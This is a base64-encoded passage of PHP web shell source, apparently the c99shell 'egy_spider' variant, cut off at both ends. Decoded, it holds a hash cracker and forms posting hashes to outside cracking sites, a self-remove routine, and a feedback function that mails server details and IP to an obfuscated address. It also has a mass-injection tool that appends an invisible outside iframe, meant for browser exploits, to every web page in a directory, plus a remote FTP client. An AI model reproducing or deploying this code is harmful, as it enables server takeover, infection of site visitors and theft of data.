LnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRo
aXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwi
IHJlYWRvbmx5PjwvY2VudGVyPiI7IA0KIGVjaG8gIjxjZW50ZXI+YmFzZTY0X2RlY29kZSAtICI7
IA0KIGlmIChiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAhPSAk
ZW5jb2Rlcl9pbnB1dCkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSB2YWx1ZT1cImZh
aWxlZFwiIGRpc2FibGVkIHJlYWRvbmx5PiI7fSANCiBlbHNlIA0KIHsgDQogICRkZWJhc2U2NCA9
IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpOyANCiAgJGRlYmFzZTY0ID0gc3RyX3JlcGxh
Y2UoIlwwIiwiWzBdIiwkZGViYXNlNjQpOyANCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNl
NjQpOyANCiAgJHJvd3MgPSBjb3VudCgkYSk7IA0KICAkZGViYXNlNjQgPSBodG1sc3BlY2lhbGNo
YXJzKCRkZWJhc2U2NCk7IA0KICBpZiAoJHJvd3MgPT0gMSkge2VjaG8gIjxpbnB1dCB0eXBlPXRl
eHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5z
ZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiRkZWJhc2U2
NC4iXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7fSANCiAgZWxzZSB7JHJvd3MrKzsgZWNo
byAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhp
cy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0
aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3Rl
eHRhcmVhPiI7fSANCiAgZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2Vu
Y29kZXJfaW5wdXQoZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5e
PC9iPjwvYT4iOyANCiB9IA0KIGVjaG8gIjwvY2VudGVyPjxicj48Yj5CYXNlIGNvbnZlcnRhdGlv
bnM8L2I+OjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3Vz
PVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2Vv
dXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOyANCiAkYyA9IHN0cmxlbigkZW5jb2Rlcl9p
bnB1dCk7IA0KIGZvcigkaT0wOyRpPCRjOyRpKyspIA0KIHsgDQogICRoZXggPSBkZWNoZXgob3Jk
KCRlbmNvZGVyX2lucHV0WyRpXSkpOyANCiAgaWYgKCRlbmNvZGVyX2lucHV0WyRpXSA9PSAiJiIp
IHtlY2hvICRlbmNvZGVyX2lucHV0WyRpXTt9IA0KICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRp
XSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhleDt9IA0KIH0gDQogZWNobyAiXCIgcmVhZG9ubHk+PGJy
PjwvZm9ybT4iOyANCg0KPz4NCjwvY2VudGVyPg0KPGJyPjxicj4NCjx0YWJsZSBib3JkZXI9MCBh
bGlnbj1jZW50ZXIgY2VsbHBhZGRpbmc9ND4NCjx0cj48dGQ+DQo8Y2VudGVyPjxiPlNlYXJjaCBt
aWx3MHJtIGZvciBNRDUgaGFzaDwvYj48L2NlbnRlcj4NCjwvdGQ+PHRkPg0KPGNlbnRlcj48Yj5T
ZWFyY2ggbWQ1ZW5jcnlwdGlvbi5jb20gZm9yIE1ENSBvciBTSEExIGhhc2g8L2I+PC9jZW50ZXI+
DQo8L3RkPjx0ZD4NCjxjZW50ZXI+PGI+U2VhcmNoIENzVGVhbSBmb3IgTUQ1IGhhc2g8L2I+PC9j
ZW50ZXI+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPg0KPGNlbnRlcj4NCjxmb3JtIHRhcmdldD0iX2Js
YW5rIiBhY3Rpb249Imh0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFyY2gucGhwIiBt
ZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBuYW1lPWhhc2g+IDxpbnB1dCB0
eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48L2Zvcm0+DQo8L2NlbnRlcj4NCjwvdGQ+PHRkPg0K
PGNlbnRlcj4NCjxmb3JtIHRhcmdldD0iX2JsYW5rIiBhY3Rpb249Imh0dHA6Ly93d3cubWQ1ZW5j
cnlwdGlvbi5jb20vP21vZD1kZWNyeXB0IiBtZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPXRleHQg
c2l6ZT00MCBuYW1lPWhhc2gyd29yZD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJTdWJtaXQi
PjwvZm9ybT4NCjwvY2VudGVyPg0KPC90ZD48dGQ+DQo8Y2VudGVyPg0KPGZvcm0gdGFyZ2V0PSJf
YmxhbmsiIGFjdGlvbj0iaHR0cDovL3d3dy5jc3RoaXMuY29tL21kNS9pbmRleC5waHAiIG1ldGhv
ZD1QT1NUPg0KPGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG5hbWU9aD4gPGlucHV0IHR5cGU9c3Vi
bWl0IHZhbHVlPSJTdWJtaXQiPjwvZm9ybT4NCjwvY2VudGVyPg0KPC90ZD48L3RyPg0KPC90YWJs
ZT4NCjxicj4NCjxjZW50ZXI+DQo8P3BocA0KLy8gbXkgd29yZGxpc3QgY3JhY2tlciBeX14NCmlm
IChpc3NldCgkX0dFVFsnaGFzaCddKSAmJiBpc3NldCgkX0dFVFsnd29yZGxpc3QnXSkgJiYgKCRf
R0VUWyd0eXBlJ10gPT0gJ21kNScgfHwgJF9HRVRbJ3R5cGUnXSA9PSAnc2hhMScpKSB7DQoJJHR5
cGUgPSAkX0dFVFsndHlwZSddOw0KCSRoYXNoID0gJF9HRVRbJ2hhc2gnXTsNCgkkY291bnQgPSAx
Ow0KCSR3b3JkbGlzdCA9IGZpbGUoJF9HRVRbJ3dvcmRsaXN0J10pOw0KCSR3b3JkcyA9IGNvdW50
KCR3b3JkbGlzdCk7DQoJZm9yZWFjaCAoJHdvcmRsaXN0IGFzICR3b3JkKSB7DQoJCWVjaG8gJGNv
dW50Licgb2YgJy4kd29yZHMuJzogJy4kd29yZC4nPGJyPic7DQoJCWlmICgkaGFzaCA9PSAkdHlw
ZShydHJpbSgkd29yZCkpKSB7DQoJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+R3JlYXQgc3VjY2Vz
cyEgIFRoZSBwYXNzd29yZCBpczogJy4kd29yZC4nPC9mb250Pjxicj4nOw0KCQkJZXhpdDsNCgkJ
fQ0KCQkrKyRjb3VudDsNCgl9DQp9DQoNCn0gDQppZiAoJGFjdCA9PSAnZnNidWZmJykgDQp7IA0K
ICRhcnJfY29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsgDQogJGFycl9jdXQgPSAkc2Vzc19kYXRh
WyJjdXQiXTsgDQogJGFyciA9IGFycmF5X21lcmdlKCRhcnJfY29weSwkYXJyX2N1dCk7IA0KIGlm
IChjb3VudCgkYXJyKSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9i
PjwvY2VudGVyPiI7fSANCiBlbHNlIHtlY2hvICI8Yj5GaWxlLVN5c3RlbSBidWZmZXI8L2I+PGJy
Pjxicj4iOyAkbHNfYXJyID0gJGFycjsgJGRpc3BfZnVsbHBhdGggPSBUUlVFOyAkYWN0ID0gImxz
Ijt9IA0KfSANCmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikgDQp7IA0KIGlmICgoJHN1Ym1pdCA9
PSAkcm5kY29kZSkgYW5kICgkc3VibWl0ICE9ICIiKSkgDQogeyANCiAgaWYgKHVubGluayhfX0ZJ
TEVfXykpIHtAb2JfY2xlYW4oKTsgZWNobyAiVGhhbmtzIGZvciB1c2luZyBjOTlzaGVsbCB2LiIu
JHNodmVyLiIhIjsgYzk5c2hleGl0KCk7IH0gDQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2Fu
J3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9IA0KIH0gDQogZWxzZSANCiB7
IA0KICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29u
ZmltYXRpb24hPC9iPiI7fSANCiAgJHJuZCA9IHJhbmQoMCw5KS5yYW5kKDAsOSkucmFuZCgwLDkp
OyANCiAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9YWN0IHZhbHVlPXNlbGZyZW1vdmU+PGI+U2VsZi1yZW1vdmU6ICIuX19GSUxFX18uIiA8
YnI+PGI+QXJlIHlvdSBzdXJlPzxicj5Gb3IgY29uZmlybWF0aW9uLCBlbnRlciBcIiIuJHJuZC4i
XCI8L2I+OiZuYnNwOzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXJuZGNvZGUgdmFsdWU9XCIiLiRy
bmQuIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zdWJtaXQ+Jm5ic3A7PGlucHV0IHR5cGU9c3Vi
bWl0IHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7IA0KIH0gDQp9IA0KaWYgKCRhY3QgPT0gInVwZGF0
ZSIpIHskcmV0ID0gYzk5c2hfZ2V0dXBkYXRlKCEhJGNvbmZpcm11cGRhdGUpOyBlY2hvICI8Yj4i
LiRyZXQuIjwvYj4iOyBpZiAoc3RyaXN0cigkcmV0LCJuZXcgdmVyc2lvbiIpKSB7ZWNobyAiPGJy
Pjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuJHN1cmwu
ImFjdD11cGRhdGUmY29uZmlybXVwZGF0ZT0xJztcIiB2YWx1ZT1cIlVwZGF0ZSBub3dcIj4iO319
IA0KDQoNCmlmICgkYWN0ID09ICJmZWVkYmFjayIpIA0KeyANCiAkc3VwcG1haWwgPSBiYXNlNjRf
ZGVjb2RlKCJaV2Q1WDNOd2FXUmxja0JvYjNSdFlXbHNMbU52YlE9PSIpOyANCiBpZiAoIWVtcHR5
KCRzdWJtaXQpKSANCiB7IA0KICAkdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5k
KDEsMTAwMCkpLDAsNik7IA0KICAkYm9keSA9ICJlZ3lfc3BpZGVyIHYuIi4kc2h2ZXIuIiBmZWVk
YmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4i
XG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIu
aHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5FLXNlcnZlcjogIi5odG1sc3BlY2lhbGNo
YXJzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iXG5FLXNlcnZlcjI6ICIuaHRtbHNwZWNpYWxj
aGFycygkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7IA0K
IA0KICBtYWlsKCRzdXBwbWFpbCwiZWd5X3NwaWRlciB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIu
JHRpY2tldCwkYm9keSwiRlJPTTogIi4kc3VwcG1haWwpOyANCiAgZWNobyAiPGNlbnRlcj48Yj5U
aGFua3MgZm9yIHlvdXIgZmVlZGJhY2shIFlvdXIgdGlja2V0IElEOiAiLiR0aWNrZXQuIi48L2I+
PC9jZW50ZXI+IjsgDQogfSANCiBlbHNlIHtlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJc
IiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+
PGI+RmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5zdHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxh
cnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4iKTo8YnI+PGJyPllvdXIgbmFtZTogPGlu
cHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwiIHZhbHVlPVwiIi5odG1sc3BlY2lh
bGNoYXJzKCRmZGJrX25hbWUpLiJcIj48YnI+PGJyPllvdXIgZS1tYWlsOiA8aW5wdXQgdHlwZT1c
InRleHRcIiBuYW1lPVwiZmRia19lbWFpbFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRm
ZGJrX2VtYWlsKS4iXCI+PGJyPjxicj5NZXNzYWdlOjxicj48dGV4dGFyZWEgbmFtZT1cImZkYmtf
Ym9keVwiIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIjwv
dGV4dGFyZWE+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmRia19yZWZcIiB2YWx1ZT1c
IiIudXJsZW5jb2RlKCRIVFRQX1JFRkVSRVIpLiJcIj48YnI+PGJyPkF0dGFjaCBzZXJ2ZXItaW5m
byAqIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmRia19zZXJ2aW5mXCIgdmFsdWU9
XCIxXCIgY2hlY2tlZD48YnI+PGJyPlRoZXJlIGFyZSBubyBjaGVja2luZyBpbiB0aGUgZm9ybS48
YnI+PGJyPklmIHlvdSB3YW50IHRvIHNlbmQgYSByZXF1ZXN0IGZvciBhbnkgaGVscCBJIGtub3cg
SSB3aWxsIHJlc3BvbmQgdG8geW91IGluIGNhc2UgPGJyPjxicj4qIC0gc3Ryb25nbHkgcmVjb21t
ZW5kZWQsIGlmIHlvdSByZXBvcnQgYnVnLCBiZWNhdXNlIHdlIG5lZWQgaXQgZm9yIGJ1Zy1maXgu
PGJyPjxicj5XZSB1bmRlcnN0YW5kIGxhbmd1YWdlczogQXJiaWMsIEVuZ2xpc2guPGJyPjxicj48
aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zv
cm0+Ijt9IA0KfSANCg0KDQppZiAoJGFjdCA9PSAnbWFzc2Jyb3dzZXJzcGxvaXQnKSB7DQo/Pg0K
PGI+TWFzcyBDb2RlIEluamVjdGlvbjo8L2I+PGJyPjxicj4NClVzZSB0aGlzIHRvIGFkZCBIVE1M
IHRvIHRoZSBlbmQgb2YgZXZlcnkgLnBocCwgLmh0bSwgYW5kIC5odG1sIHBhZ2UgaW4gdGhlIGRp
cmVjdG9yeSBzcGVjaWZpZWQuPGJyPjxicj4NCjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3Vy
bDsgPz4iIG1ldGhvZD1HRVQ+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWFzc3NwbG9pdCIg
dmFsdWU9ImdvYWhlYWQiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImFjdCIgdmFsdWU9Im1h
c3Nicm93c2Vyc3Bsb2l0Ij4NCjx0YWJsZSBib3JkZXI9MD4NCjx0cj48dGQ+RGlyIHRvIGluamVj
dDogPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG5hbWU9InBhdGh0b21hc3MiIHZh
bHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcuJyk7ID8+Ij4gPC0tIGRlZmF1bHQgaXMgZGlyIHRo
aXMgc2hlbGwgaXMgaW48L3RkPjwvdHI+DQo8dHI+PHRkPkNvZGUgdG8gaW5qZWN0OiA8L3RkPjx0
ZD48dGV4dGFyZWEgbmFtZT0iaW5qZWN0dGhpcyIgY29scz01MCByb3dzPTQ+PD9waHAgZWNobyBo
dG1sc3BlY2lhbGNoYXJzKCc8SUZSQU1FIHNyYz0iaHR0cDovL3d3dy5lZ3lzcGlkZXIubmV0IiB3
aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9JRlJBTUU+Jyk7ID8+PC90ZXh0YXJlYT4g
PC0tIGJlc3QgYmV0IHdvdWxkIGJlIHRvIGluY2x1ZGUgYW4gaW52aXNpYmxlIGlmcmFtZSBvZiBi
cm93c2VyIGV4cGxvaXRzPC90ZD48L3RyPg0KPHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFs
dWU9IkluamVjdCBDb2RlIj48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPD9waHANCmlm
ICgkX0dFVFsnbWFzc3NwbG9pdCddID09ICdnb2FoZWFkJykgew0KCWlmIChpc19kaXIoJF9HRVRb
J3BhdGh0b21hc3MnXSkpIHsNCgkJJGxvbGluamVjdCA9ICRfR0VUWydpbmplY3R0aGlzJ107DQoJ
CWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyoucGhwIikgYXMgJGluamVjdGow
MCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRs
b2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJ
CX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4k
aW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydw
YXRodG9tYXNzJ10uIi8qLmh0bSIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5q
ZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAk
aW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxm
b250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJ
CQl9DQoJCX0NCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5odG1sIikg
YXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAo
ZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0
ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0
byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7IC8v
ZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsIC0tIGlmIG5vdCwgc2hvdyBhbiB1Z2x5IHJlZCBl
cnJvcg0KCQllY2hvICc8Yj48Zm9udCBjb2xvcj1yZWQ+Jy4kX0dFVFsncGF0aHRvbWFzcyddLicg
aXMgbm90IGF2YWlsYWJsZSE8L2ZvbnQ+PC9iPic7DQoJfSAvLyBlbmQgaWYgaW5wdXR0ZWQgZGly
IGlzIHJlYWwsIGZvciByZWFsIHRoaXMgdGltZQ0KfSAvLyBlbmQgaWYgY29uZmlybWF0aW9uIHRv
IG1hc3Mgc3Bsb2l0IGlzIGdvDQp9IC8vIGVuZCBpZiBtYXNzYnJvd3NlcnNwbG9pdCBpcyBjYWxs
ZWQNCg0KDQoNCmlmICgkYWN0ID09ICdmdHBjbCcpIHsNCmdsb2JhbCAkdCwkY3dkLCRoY3dkLCRl
cnJvcmJveCwkZXQ7DQokdGQ9Ijx0ZCBiZ2NvbG9yPScjMzMzMzMzJyB3aWR0aD0nNTAlJz4iOw0K
aWYoIWVtcHR5KCRfUkVRVUVTVFsnaG9zVCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VSJ10p
ICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzUyddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Z0cF9jb25u
ZWN0Jykpew0KJHVzZXI9JF9SRVFVRVNUWyd1c2VSJ107JHBhc3M9JF9SRVFVRVNUWydwYXNTJ107
JGhvc3Q9JF9SRVFVRVNUWydob3NUJ107DQokY29uPWZ0cF9jb25uZWN0KCRfUkVRVUVTVFsnaG9z
VCddLDIxLDEwKTsNCmlmKCRjb24pew0KJGZ0cD1mdHBfbG9naW4oJGNvbiwkdXNlciwkcGFzcyk7
DQppZigkZnRwKXsNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ1BXRCddKSlmdHBfY2hkaXIoJGNvbiwk
X1JFUVVFU1RbJ1BXRCddKTsNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2ZpbEUnXSkpew0KJGZpbGU9
JF9SRVFVRVNUWydmaWxFJ107DQokbW9kZT0oaXNzZXQoJF9SRVFVRVNUWydtb2RFJ10pKT9GVFBf
QklOQVJZOkZUUF9BU0NJSTsNCmlmKGlzc2V0KCRfUkVRVUVTVFsnZ2VUJ10pKWZ0cF9nZXQoJGNv
biwkZmlsZSwkZmlsZSwkbW9kZSk7DQplbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydwdVQnXSkpZnRw
X3B1dCgkY29uLCRmaWxlLCRmaWxlLCRtb2RlKTsNCmVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ3JN
J10pKXsNCmZ0cF9ybWRpcigkY29uLCRmaWxlKTsNCmZ0cF9kZWxldGUoJGNvbiwkZmlsZSk7DQp9
DQplbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydtRCddKSlmdHBfbWtkaXIoJGNvbiwkZmlsZSk7DQp9
DQokcHdkPWZ0cF9wd2QoJGNvbik7DQokZGlyPWZ0cF9ubGlzdCgkY29uLCcnKTsNCiRkPW9wZW5k
aXIoJGN3ZCk7DQplY2hvICI8dGFibGUgYm9yZGVyPTAgc3R5bGU9J2JvcmRlci1jb2xsYXBzZTog
Y29sbGFwc2UnIHdpZHRoPScxMDAlJz48dHI+JHt0ZH1TZXJ2ZXI6PC90ZD4ke3RkfUNsaWVudDo8
L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVBPU1Q+PHRyPiR0ZDxpbnB1dCB0eXBlPXRleHQgdmFsdWU9
JyRwd2QnIG5hbWU9UFdEIHNpemU9NTA+PGlucHV0IHZhbHVlPUNoYW5nZSBjbGFzcz1idXR0b25z
IHR5cGU9c3VibWl0PjwvdGQ+JHRkPGlucHV0IHNpemU9NTAgdHlwZT10ZXh0IHZhbHVlPSckY3dk
JyBuYW1lPXdvcmtpbmdkaVI+PGlucHV0IHZhbHVlPUNoYW5nZSBjbGFzcz1idXR0b25zIHR5cGU9
c3VibWl0PjwvdGQ+PC90cj48dHI+JHRkIjsNCmZvcmVhY2goJGRpciBhcyAkbillY2hvICIkbjxi
cj4iOw0KZWNobyAiPC90ZD4kdGQiO3doaWxlKCRjZGlyPXJlYWRkaXIoJGQpKWlmKCRjZGlyIT0n
LicgJiYgJGNkaXIhPScuLicpZWNobyAiJGNkaXI8YnI+IjsgZWNobyAiPC90ZD48L3RyPjx0cj4k
e3RkfU5hbWU6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbEU+PGlucHV0IHR5cGU9Y2hlY2tib3gg
c3R5bGU9J2JvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojMzMzMzMzOycgbmFtZT1t
b2RFIHZhbHVlPTE+QmluYXJ5IDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWdlVCBjbGFzcz1idXR0
b25zIHZhbHVlPUdldD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1wdVQgY2xhc3M9YnV0dG9ucyB2
YWx1ZT1QdXQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ck0gY2xhc3M9YnV0dG9ucyB2YWx1ZT1S
ZW1vdmU+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9bUQgY2xhc3M9YnV0dG9ucyB2YWx1ZT0nTWFr
ZSBkaXInPjwvdGQ+JHRkPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSckdXNlcicgbmFtZT11c2VS
PjxpbnB1dCB0eXBlPWhpZGRlbiB2YWx1ZT0nJHBhc3MnIG5hbWU9cGFzUz48aW5wdXQgdHlwZT1o
aWRkZW4gdmFsdWU9JyRob3N0JyBuYW1lPWhvc1Q+PC9mb3JtPiRldCI7DQp9ZWxzZSBlY2hvICIk
ZXJyb3Jib3ggV3JvbmcgdXNlcm5hbWUgb3IgcGFzc3dvcmQkZXQiOw0KfWVsc2UgZWNobyAiJGVy
cm9yYm94IENhbiBub3QgY29ubmVjdCB0byBzZXJ2ZXIhJGV0IjsNCn0NCmVsc2V7DQplY2hvICI8
Y2VudGVyPiR7dH1GVFAgY2lsZW50OjwvdGQ+PGZvcm0gbmFtZT1jbGllbnQgbWV0aG9kPSdQT1NU
Jz48dGQgYmdjb2xvcj0nIzMzMzMzMyc+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9JzIwJScgYmdj
b2xvcj0nIzY2NjY2Nic+U2VydmVyOjwvdGQ+PHRkIGJnY29sb3I9JyM2NjY2NjYnPjxpbnB1dCB0
eXBlPXRleHQgdmFsdWU9bG9jYWxob3N0IG5hbWU9aG9zVCBzaXplPTM1PjwvdGQ+PC90cj48dHI+
PHRkIHdpZHRoPScyMCUnIGJnY29sb3I9JyM4MDgwODAnPlVzZXJuYW1lOjwvdGQ+PHRkIGJnY29s
b3I9JyM4MDgwODAnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VSIHZhbHVlPWFub255bW91cyBz
aXplPTM1PjwvdGQ+PHRyPjx0ZCB3aWR0aD0nMjAlJyBiZ2NvbG9yPScjNjY2NjY2Jz5QYXNzd29y
ZDo8L3RkPjx0ZCBiZ2NvbG9yPScjNjY2NjY2Jz48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPWFkbWlu
QG5hc2EuZ292IG5hbWU9cGFzUyBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScyMCUn
IGJnY29sb3I9JyM4MDgwODAnPjwvdGQ+PHRkIGJnY29sb3I9JyM4MDgwODAnIGFsaWduPXJpZ2h0
PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9Q29ubmVjdD48L2Zv
cm0+JGV0PC9jZW50ZXI+IjsNCn0NCn0NCg0KDQoNCg0KaWYgKCRhY3QgPT0gJ0NvbnZlcnQnKSB7
DQpnbG9iYWwgJHQsJGV0LCRoY3dkOw0KJGZ1PWFycmF5KCctJywnbWQ1Jywnc2hhMScsJ2NyYzMy
JywnaGV4JywnaXAybG9uZycsJ2RlY2JpbicsJ2RlY2hleCcsJ2hleGRlYycsJ2JpbmRlYycsJ2xv
bmcyaXAnLCdiYXNlNjRfZW5jb2RlJywnYmFzZTY0X2RlY29kZScsJ3VybGRlY29kZScsJ3VybGVu
Y29kZScsJ2RlcycsJ3N0cnJldicpOw0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnaW5wdXQnXSkgJiYg
KGluX2FycmF5KCRfUkVRVUVTVFsndG8nXSwkZnUpKSl7DQokdG89JF9SRVFVRVNUWyd0byddOw0K
ZWNobyAiPGNlbnRlcj4ke3R9T3V0cHV0Ojxicj48dGV4dGFyZWEgcm93cz0nMTAnIGNvbHM9JzY0
Jz4iOw0KaWYoJHRvPT0naGV4Jylmb3IoJGk9MDskaTxzdHJsZW4oJF9SRVFVRVNUWydpbnB1dCdd
KTskaSsrKWVjaG8gJyUnLnN0cnRvdXBwZXIoZGVjaGV4KG9yZCgkX1JFUVVFU1RbJ2lucHV0J117
JGl9KSkpOyANCmVsc2UgZWNobyAkdG8oJF9SRVFVRVNUWydpbnB1dCddKTsNCmVjaG8gIjwvdGV4
dGFyZWE+JGV0PC9jZW50ZXI+PGJyPiI7DQp9DQplY2hvICI8Y2VudGVyPiR7dH1Db252ZXJ0b3I6
PC90ZD48dGQgYmdjb2xvcj0nIzMzMzMzMyc+PC90ZD48L3RyPjxmb3JtIG1ldGhvZD0nUE9TVCc+
PHRyPjx0ZCB3aWR0aD0nMjAlJyBiZ2NvbG9yPScjNjY2NjY2Jz5JbnB1dDo8L3RkPjx0ZCBiZ2Nv
